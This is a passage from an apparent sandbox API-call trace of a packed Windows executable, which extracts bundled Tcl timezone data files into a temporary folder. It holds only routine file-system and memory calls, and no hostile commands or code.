lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.281] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.281] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.281] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.281] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.281] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.281] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.281] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.281] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.281] CloseHandle (hObject=0x10c) returned 1 [0038.281] GetLastError () returned 0x0 [0038.281] SetLastError (dwErrCode=0x0) [0038.281] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.281] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.281] GetFileType (hFile=0x10c) returned 0x1 [0038.281] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.281] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.281] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.281] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.281] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.281] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.281] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.281] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.281] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.282] CloseHandle (hObject=0x10c) returned 1 [0038.282] GetLastError () returned 0x0 [0038.282] SetLastError (dwErrCode=0x0) [0038.282] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa") returned 63 [0038.282] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.282] GetFileType (hFile=0x10c) returned 0x1 [0038.282] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.282] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.282] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.282] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.282] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.282] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.282] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.282] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.282] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.282] CloseHandle (hObject=0x10c) returned 1 [0038.283] GetLastError () returned 0x0 [0038.283] SetLastError (dwErrCode=0x0) [0038.283] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Mogadishu") returned 73 [0038.283] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Mogadishu" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\mogadishu"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.283] GetLastError () returned 0x2 [0038.283] SetLastError (dwErrCode=0x2) [0038.283] GetLastError () returned 0x2 [0038.283] SetLastError (dwErrCode=0x2) [0038.283] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Mogadishu", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Mogadishu", lpFilePart=0x0) returned 0x48 [0038.283] GetLastError () returned 0x2 [0038.283] SetLastError (dwErrCode=0x2) [0038.283] GetLastError () returned 0x2 [0038.283] SetLastError (dwErrCode=0x2) [0038.283] GetLastError () returned 0x2 [0038.283] SetLastError (dwErrCode=0x2) [0038.283] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Mogadishu") returned 73 [0038.283] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.283] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Mogadishu" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\mogadishu"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.283] GetFileType (hFile=0x10c) returned 0x1 [0038.283] htonl (hostlong=0xcf000000) returned 0xcf [0038.283] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.284] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xcf, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xcf, lpOverlapped=0x0) returned 1 [0038.284] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.285] CloseHandle (hObject=0x10c) returned 1 [0038.285] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x545e48 | out: hHeap=0x530000) returned 1 [0038.285] htonl (hostlong=0x30000000) returned 0x30 [0038.285] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.285] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.285] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.285] GetFileType (hFile=0x10c) returned 0x1 [0038.286] htonl (hostlong=0xdb5b5800) returned 0x585bdb [0038.286] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d0bdb, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.286] htonl (hostlong=0xa1000000) returned 0xa1 [0038.286] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa1) returned 0x544af0 [0038.286] htonl (hostlong=0xa1000000) returned 0xa1 [0038.286] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.286] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.286] htonl (hostlong=0xc8000000) returned 0xc8 [0038.286] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc8) returned 0x550600 [0038.286] htonl (hostlong=0xa1000000) returned 0xa1 [0038.286] htonl (hostlong=0xc8000000) returned 0xc8 [0038.286] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0038.286] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.286] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x544af0 | out: hHeap=0x530000) returned 1 [0038.286] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.286] CloseHandle (hObject=0x10c) returned 1 [0038.286] GetLastError () returned 0x0 [0038.286] SetLastError (dwErrCode=0x0) [0038.286] GetLastError () returned 0x0 [0038.286] SetLastError (dwErrCode=0x0) [0038.286] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.286] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.286] GetFileType (hFile=0x10c) returned 0x1 [0038.286] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.286] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.286] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.286] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.287] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.287] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.287] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.287] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.287] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.287] CloseHandle (hObject=0x10c) returned 1 [0038.287] GetLastError () returned 0x0 [0038.287] SetLastError (dwErrCode=0x0) [0038.287] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.287] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.287] GetFileType (hFile=0x10c) returned 0x1 [0038.287] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.287] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.287] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.287] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.287] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.287] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.287] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.287] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.287] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.287] CloseHandle (hObject=0x10c) returned 1 [0038.287] GetLastError () returned 0x0 [0038.287] SetLastError (dwErrCode=0x0) [0038.287] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa") returned 63 [0038.288] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.288] GetFileType (hFile=0x10c) returned 0x1 [0038.288] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.288] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.288] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.288] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.288] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.288] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.288] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.288] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.288] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.288] CloseHandle (hObject=0x10c) returned 1 [0038.288] GetLastError () returned 0x0 [0038.288] SetLastError (dwErrCode=0x0) [0038.288] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Monrovia") returned 72 [0038.288] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Monrovia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\monrovia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.288] GetLastError () returned 0x2 [0038.288] SetLastError (dwErrCode=0x2) [0038.288] GetLastError () returned 0x2 [0038.288] SetLastError (dwErrCode=0x2) [0038.288] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Monrovia", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Monrovia", lpFilePart=0x0) returned 0x47 [0038.288] GetLastError () returned 0x2 [0038.288] SetLastError (dwErrCode=0x2) [0038.288] GetLastError () returned 0x2 [0038.289] SetLastError (dwErrCode=0x2) [0038.289] GetLastError () returned 0x2 [0038.289] SetLastError (dwErrCode=0x2) [0038.289] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Monrovia") returned 72 [0038.289] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.289] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Monrovia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\monrovia"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.289] GetFileType (hFile=0x10c) returned 0x1 [0038.289] htonl (hostlong=0xc8000000) returned 0xc8 [0038.289] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.290] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xc8, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xc8, lpOverlapped=0x0) returned 1 [0038.290] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.290] CloseHandle (hObject=0x10c) returned 1 [0038.291] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.291] htonl (hostlong=0x30000000) returned 0x30 [0038.291] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.291] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.291] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.291] GetFileType (hFile=0x10c) returned 0x1 [0038.291] htonl (hostlong=0x7c5c5800) returned 0x585c7c [0038.291] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d0c7c, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.292] htonl (hostlong=0xab000000) returned 0xab [0038.292] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xab) returned 0x55cfe0 [0038.292] htonl (hostlong=0xab000000) returned 0xab [0038.292] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.292] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.292] htonl (hostlong=0xea000000) returned 0xea [0038.292] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xea) returned 0x550600 [0038.292] htonl (hostlong=0xab000000) returned 0xab [0038.292] htonl (hostlong=0xea000000) returned 0xea [0038.292] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0038.292] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.292] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0038.292] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.292] CloseHandle (hObject=0x10c) returned 1 [0038.292] GetLastError () returned 0x0 [0038.292] SetLastError (dwErrCode=0x0) [0038.292] GetLastError () returned 0x0 [0038.292] SetLastError (dwErrCode=0x0) [0038.292] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.292] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.292] GetFileType (hFile=0x10c) returned 0x1 [0038.292] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.292] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.292] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.292] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.292] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.292] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.293] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.293] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.293] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.293] CloseHandle 